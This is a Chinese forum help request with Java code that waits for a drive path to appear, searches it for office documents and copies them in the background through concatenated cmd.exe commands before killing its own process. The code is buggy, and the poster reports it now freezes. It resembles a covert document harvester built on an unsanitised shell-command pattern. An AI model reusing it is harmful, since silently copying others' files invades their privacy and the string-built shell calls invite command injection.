写程序时遇到BUG
Cmd.java
package src.GetDatum;
//Cmd.java
public interface Cmd {
public void UseDos(String Code1);
}
CmdCode.java
package src.GetDatum;
//CmdCode.java
public class CmdCode implements Cmd {
String Code1;
public void UseDos(String Code1) {
try{
Runtime.getRuntime().exec("cmd.exe /C start /b "+Code1);
}catch(Exception e){
e.printStackTrace();
}
}
}
ComeTrue.java
package src.GetDatum;
//ComeTrue.java
import java.io.*;
import java.util.*;
public class ComeTrue implements SearchAndGet {
String Path1,Path2,CopyPath,SetDatumPath,ReturnPath,CopyPath1,CopyPath2,fileSuffix,Mode,Path,Code1,Code2,ReturnName;
File[] fileArray;
boolean IsConnect;
int Time,CheckTime,TimePassed,Past,Now,FileLength,past;
int i;
GregorianCalendar gc = new GregorianCalendar();
CmdCode CmdCode = new CmdCode();
File Disk,file;
Hashtable<Integer, String> SuffixPath;
//Methods
public void Copy(String Path1,String Path2) {
String CopyPath = "copy "+Path1+" "+Path2;
CmdCode.UseDos(CopyPath);
}
public boolean CheckDisk() {
File Disk = new File(SetDatumPath);
boolean IsConnect = Disk.exists();
this.IsConnect = IsConnect;
return IsConnect;
}
public boolean Checking() {
while(!CheckTime(past)) {
if(CheckDisk()) {
return true;
}
}
return false;
}
public void SetCheckTime(int Time){
int PAST = (int) System.currentTimeMillis();
Time = this.Time;
past = PAST;
}
public int GetCheckTime()
{return Time;}
public void SetDatumPath(String SetDatumPath)
{this.SetDatumPath = SetDatumPath;}
public String GetDatumPath()
{return SetDatumPath;}
public void FindFileBySuffix(File file, String fileSuffix) {
File[] fileArray = file.listFiles();
Hashtable<Integer, String> Path = new Hashtable<Integer, String>();
Path = SuffixPath;
for (File f : fileArray) {
int i = this.i;
if (f.isDirectory()){
FindFileBySuffix(f, fileSuffix);
}
if (f.isFile()){
if(f.getName().contains(fileSuffix)){
String ReturnPath = f.getPath();
Path.put(i, ReturnPath);
}
}
i++;
i = this.i;
}
SuffixPath = Path;
}
public Hashtable<Integer, String> GetSuffixPath()
{return SuffixPath;}
public boolean CheckTime(int Past){
int Now = (int) System.currentTimeMillis();
int TimePassed = (Now - Past)/60000;
Now = this.Now;
Past = this.Past;
TimePassed = this.TimePassed;
if(TimePassed == Time) {
return true;
}else{
return false;
}
}
public void CopyDatum(String CopyPath1,String CopyPath2){
CopyPath1 = this.CopyPath1;
CopyPath2 = this.CopyPath2;
Copy(CopyPath1,CopyPath2);
}
}
SearchAndGet.java
package src.GetDatum;
//SearchAndGet.java
import java.io.File;
import java.util.Hashtable;
public interface SearchAndGet {
public void Copy(String Path1,String Path2);
public boolean CheckDisk();
public void SetCheckTime(int Time);
public int GetCheckTime();
public void SetDatumPath(String SetDatumPath);
public String GetDatumPath();
public void FindFileBySuffix(File file, String fileSuffix);
public Hashtable<Integer,String> GetSuffixPath();
public boolean CheckTime(int Past);
}
MainOfIt.java
package src.GetDatum;
//MainOfIt.java
import java.io.*;
import java.util.*;
public class MainOfIt {
static ComeTrue ComeTrue = new ComeTrue();
static File file;
static Scanner sc = new Scanner(System.in);
String TargetPath,SourcePath,suffix,Path;
static CmdCode CmdCode = new CmdCode();
public static void main(String[] args) throws IOException,NullPointerException{
System.out.print("请输入目标路径:");
String TargetPath = sc.nextLine();
System.out.print("请输入拷贝路径:");
String SourcePath = sc.nextLine();
System.out.print("请输入检测时间(单位:分钟):");
int Time = sc.nextInt();
ComeTrue.SetDatumPath(TargetPath);
ComeTrue.SetCheckTime(Time);
if(ComeTrue.Checking()) {
String[] suffixPaths = {"docx","doc","pdf","pptx","ppt","enbx","xlsx","swf","xls"};
File file = new File(TargetPath);
for(int I = 0;I > suffixPaths.length ; I++) {
String Path = suffixPaths[I];
ComeTrue.FindFileBySuffix(file,Path);
}
while(true) {
int i = 0;
Hashtable<Integer,String> Suffix = ComeTrue.GetSuffixPath();
if(Suffix.contains(i)) {
String Path1 = Suffix.get(i);
File File = new File("Path1");
String Path2 = SourcePath + File.getName();
ComeTrue.Copy(Path1,Path2);
}else {
break;
}
i++;
}
System.out.print("success");
}
try {
Thread.sleep(100);
} catch (Exception e) {
e.printStackTrace();
}finally {
CmdCode.UseDos("taskkill /f /im GetDatum.exe");
System.exit(0);
}
}
}
本来还可以运行的 (https://blog.csdn.net/penguin0238/article/details/127952955?csdn_share_tail=%7B%22type%22%3A%22blog%22%2C%22rType%22%3A%22article%22%2C%22rId%22%3A%22127952955%22%2C%22source%22%3A%22penguin0238%22%7D
现在直接卡死
我的解答思路:无
尝试过的方法:改语法,方法